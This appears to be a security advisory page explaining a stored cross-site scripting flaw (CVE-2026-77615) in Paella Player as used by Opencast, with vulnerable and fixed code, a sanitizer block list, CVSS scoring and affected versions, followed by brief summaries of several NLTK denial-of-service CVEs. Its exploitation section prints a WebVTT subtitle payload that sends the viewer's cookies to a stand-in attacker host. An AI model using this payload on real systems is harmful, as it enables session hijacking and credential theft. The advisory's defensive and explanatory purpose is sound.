Sep 18, 2026·5 min read·17 visits
A Stored XSS vulnerability in Paella Player allows authenticated users to execute arbitrary JavaScript in the browsers of other users by uploading a crafted subtitle file.
CVE-2026-77615 is a high-severity Stored Cross-Site Scripting (XSS) vulnerability in the Paella Player component, which is integrated as the default front-end media viewer in Opencast. Unsafe client-side rendering of subtitle tracks allows authenticated, low-privileged users to inject arbitrary JavaScript payloads via crafted WebVTT or DFXP files. The script executes within the context of any viewer session under the host origin, enabling session hijacking and unauthorized API interaction.
Paella Player is an open-source, multi-stream web player library designed to render multiple synchronized video feeds. Opencast, an enterprise-grade lecture capture platform, integrates Paella Player as its default front-end viewer. The platform supports subtitle file uploads in WebVTT and DFXP formats to enhance user accessibility.\n\nThe vulnerability, designated as CVE-2026-77615, stems from improper validation of subtitle cue files. A malicious actor with access to upload files can inject arbitrary scripts into subtitle tracks. When a viewer plays the video and enables captions, the application executes the injected code in the viewer's browser.\n\nThis behavior matches the classic model of Stored Cross-Site Scripting (CWE-79). The attack surface resides entirely on the client-side parsing and rendering routines of the player library. Because Opencast hosts the media and player on its own domain, the script runs with full authorization privileges on that origin.
The root cause of this vulnerability lies in the client-side Javascript logic used to parse and draw captions. Specifically, the software handles closed caption objects by extracting strings and inserting them via the browser's dynamic DOM parser.\n\nWithin CaptionsCanvas.js, the code iterates over the text lines of active subtitles. Rather than treating these values as static strings, the developer utilized the innerHTML assignment operator to perform concatenation. This operator instructs the rendering engine to interpret the string value as live HTML elements.\n\nA secondary vulnerability exists in the DFXP subtitle format parsing code within DFXPParser.js. The parser extracts nodes using p.innerHTML, which preserves any nested tags. Passing these structures down to the CaptionsCanvas pipeline creates multiple vector pathways for script execution.
To understand the exact flaws, we can examine the vulnerable code blocks beside their remediated counterparts. The primary fix targets the dynamic insertion loop inside CaptionsCanvas.ts and changes how DOM child elements are constructed.\n\nBefore the patch, the application parsed and evaluated strings directly using the addition assignment operator: this._captionsContainer.innerHTML += c. This instruction enabled the loading of arbitrary script handlers like onload or onerror attached to dummy tags.\n\ntypescript\n// Vulnerable Implementation\ncue && cue.captions.forEach(c => {\n this._captionsContainer.innerHTML += c;\n this._captionsContainer.innerHTML += '<br/>';\n});\n\n\nThe fix replaces this pattern entirely with standard DOM manipulation methods. The engine now uses document.createTextNode() to append the cue string. This interface treats the content strictly as text, rendering brackets and special characters as visual literals.\n\ntypescript\n// Remediation Patch\ncue && cue.captions.forEach(c => {\n this._captionsContainer.appendChild(document.createTextNode(c));\n this._captionsContainer.appendChild(document.createElement('br'));\n});\n\n\nThe DFXP parser was updated similarly, changing the source extraction from p.innerHTML to p.textContent to strip nested markup elements immediately. This multi-layered update effectively seals the unsafe rendering sinks.
In addition to using text node insertions, the maintainers implemented a custom sanitization function called sanitizeHtml within the paella-core library. This function attempts to parse the caption string inside an inert template element and strip out forbidden components.\n\njavascript\nconst FORBIDDEN_ELEMENTS = ['script', 'iframe', 'object', 'embed', 'base', 'meta', 'link'];\nconst URL_ATTRIBUTES = ['href', 'xlink:href', 'src', 'action', 'formaction', 'background', 'poster'];\nconst DANGEROUS_PROTOCOL = /^(?:javascript:|vbscript:|data:text\\/html)/i;\n\n\nWhile this sanitization script prevents straightforward inline execution vectors, custom filters are historically prone to bypasses. An attacker could potentially utilize mutation XSS (mXSS) techniques where differences in parsing contexts allow payloads to slip past the initial check. Additionally, the lack of an explicit attribute whitelist means elements can maintain standard properties that cause script execution or style injections under specific browser engines.\n\nSecurity engineers should treat this custom sanitizer as a secondary defense layer only. Implementations must rely primarily on the text-based parsing mechanisms introduced in the parallel player patch. For robust rendering requirements that demand HTML in subtitles, developers should replace the custom function with a thoroughly tested library like DOMPurify.
Exploiting this vulnerability requires two conditions: authorization to upload subtitle tracks and an active viewer target. The attacker first crafts a standard WebVTT subtitle track containing nested script tags.\n\nvtt\nWEBVTT\n\n00:00:01.000 --> 00:00:05.000\n<img src=\"x\" onerror=\"fetch('http://attacker.example.com/log?cookie=' + document.cookie)\">\n\n\nThe attacker uploads this payload through the Opencast media upload interface. The server stores the file and exposes it through the search manifest index. When the victim requests the corresponding video file, the front-end player retrieves the WebVTT file and evaluates the cue frame-by-frame.\n\nThe process flow is outlined below:\n\nmermaid\ngraph LR\n Attacker[\"Attacker (Instructor Role)\"] -->|Uploads WebVTT Subtitle| Opencast[\"Opencast Media Backend\"]\n Opencast -->|Exposes File Link| Manifest[\"Search Manifest (/search/episode.json)\"]\n Victim[\"Victim (Student / Admin)\"] -->|Loads Video Player| Player[\"Paella Player Component\"]\n Manifest -->|Delivers WebVTT Resource| Player\n Player -->|Injects Raw Cue into innerHTML| DOM[\"Victim Browser DOM\"]\n DOM -->|Triggers Script Execution| Exfil[\"Attacker Server (Credential Exfiltration)\"]\n\n\nOnce the player hits the timestamp of the malicious cue, the browser renders the payload. The Javascript executes within the security context of the Opencast application, gaining access to local storage, cookies, and active session tokens.
The vulnerability possesses a CVSS v3.1 base score of 8.7, indicating a high risk level. This calculation is based on the vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. This indicates that the vulnerability is network-exploitable with low privileges, requiring minor user interaction.\n\nBecause the scope is changed (S:C), the injected code can pivot from the client-side viewer and manipulate the hosting application interface. In Opencast environments, users with administrative roles regularly view lectures or review uploads. An attacker executing code within an administrator's browser can perform unauthorized actions via the REST API, including modifying system configuration or changing file access controls.\n\nThis risk is compounded by the typical multi-tenant setup of educational environments. A student or teaching assistant with low access levels can compromise the sessions of senior faculty or platform operators. The lack of prior input sanitation on the server side means these scripts remain stored indefinitely until the asset is deleted.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
paella-player polimediaupv | < 2.12.11 | 2.12.11 |
paella-core polimediaupv | < 1.50.5 | 1.50.5 |
opencast opencast | < 19.7 | 19.7 |
opencast opencast | >= 20.0, < 20.2 | 20.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 (Improper Neutralization of Input During Web Page Generation) |
| Attack Vector | Network (AV:N) |
| CVSS Base Score | 8.7 (High) |
| Exploit Status | Proof-of-Concept Available |
| KEV Status | Not Listed |
| Impact | Arbitrary Client-side Script Execution (Stored XSS) |
| Affected Component | CaptionsCanvas / DFXPParser / WebVTTParser |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2026-126297 (GHSA-v8f3-6phw-6mh9) is an uncontrolled resource consumption and algorithmic complexity vulnerability in the Natural Language Toolkit (NLTK) prior to version 3.10.4. Located in the Semantic Role Labeling (SRL) parser within `nltk/corpus/reader/conll.py`, the flaw allows an attacker to trigger quadratic O(N^2) CPU processing overhead by providing crafted CoNLL-formatted corpus inputs containing decoy span columns or nested full-width verb spans. Applications parsing untrusted linguistic corpora can experience prolonged CPU exhaustion and application-level Denial of Service (DoS).
CVE-2026-126298 (also tracked as GHSA-r53h-rw34-8h97) is an algorithmic complexity Denial of Service (DoS) vulnerability in the Natural Language Toolkit (NLTK) Python library affecting all versions prior to 3.10.4. The vulnerability resides in the nltk.tree.transforms.chomsky_normal_form function and its corresponding public method Tree.chomsky_normal_form(). When transforming a parse tree into Chomsky Normal Form using the default right-factoring strategy, the function repeatedly invokes list.pop(0) inside a loop iterating over all children of a node. In CPython, removing the initial element of a standard list requires an O(N) memory shift operation, causing the overall binarization algorithm to degrade to O(N^2) quadratic time complexity relative to the width of a node. Furthermore, converting horizontal node width into vertical tree depth bypasses initial parsing depth bounds, triggering subsequent stack exhaustion (RecursionError) when recursive methods traverse the mutated structure. Unauthenticated remote attackers who can submit bracketed tree strings to applications invoking this transformation can exhaust single-threaded CPU resources or induce unhandled application exceptions.
An algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) before version 3.10.4 allows remote unauthenticated attackers to cause a denial of service via crafted Combinatory Categorial Grammar (CCG) lexicon strings. The parser in nltk.ccg.lexicon.fromstring performs repeated immutable string slicing, concatenation, and regex tail capturing, resulting in O(n^2) CPU consumption when processing wide, flat category definitions.
CVE-2026-126295 (also tracked as GHSA-fg9w-wfp5-j933) is a path confinement bypass vulnerability in the Natural Language Toolkit (NLTK) affecting versions 3.10.0 prior to 3.10.4. The flaw resides in nltk/parse/bllip.py within the BllipParser class and its factory method BllipParser.from_unified_model_dir(). Unlike sibling tool wrappers in NLTK that enforce data-root confinement via the nltk.pathsec module, BllipParser passes caller-supplied filesystem paths directly into the third-party bllipparser native C extension without validation. When an application passes untrusted input as model paths or directories to BllipParser, an attacker can force the native extension to open arbitrary files on the local filesystem. This leads to information disclosure through parser diagnostic oracles, local model tampering via shared directories, and denial of service by hanging worker threads on blocking special files (such as FIFOs or device nodes) or exhausting memory via oversized files.
CVE-2026-126300 (GHSA-ffr9-mgrr-wcvr) is an inefficient algorithmic complexity vulnerability (CWE-407) in the Natural Language Toolkit (NLTK) Python library affecting versions 3.2.5 prior to 3.10.4. The flaw resides in the quote-restoration routine of TreebankWordTokenizer.span_tokenize and NLTKWordTokenizer.span_tokenize, where repeated calls to list.pop(0) over matched quote tokens introduce quadratic O(n^2) time complexity. An unauthenticated remote attacker who supplies input containing long sequences of double-quote characters can exhaust CPU resources and degrade service availability.
The Natural Language Toolkit (NLTK) versions 3.6 through 3.10.3 contain an algorithmic complexity vulnerability in the LegalitySyllableTokenizer.tokenize method. When processing tokens composed of continuous runs of vowels, an unguarded string reversal and set membership lookup loop executes in quadratic time relative to the input token length. Remote attackers capable of submitting arbitrary text to applications utilizing this tokenizer can trigger sustained single-core CPU exhaustion and application-level denial of service.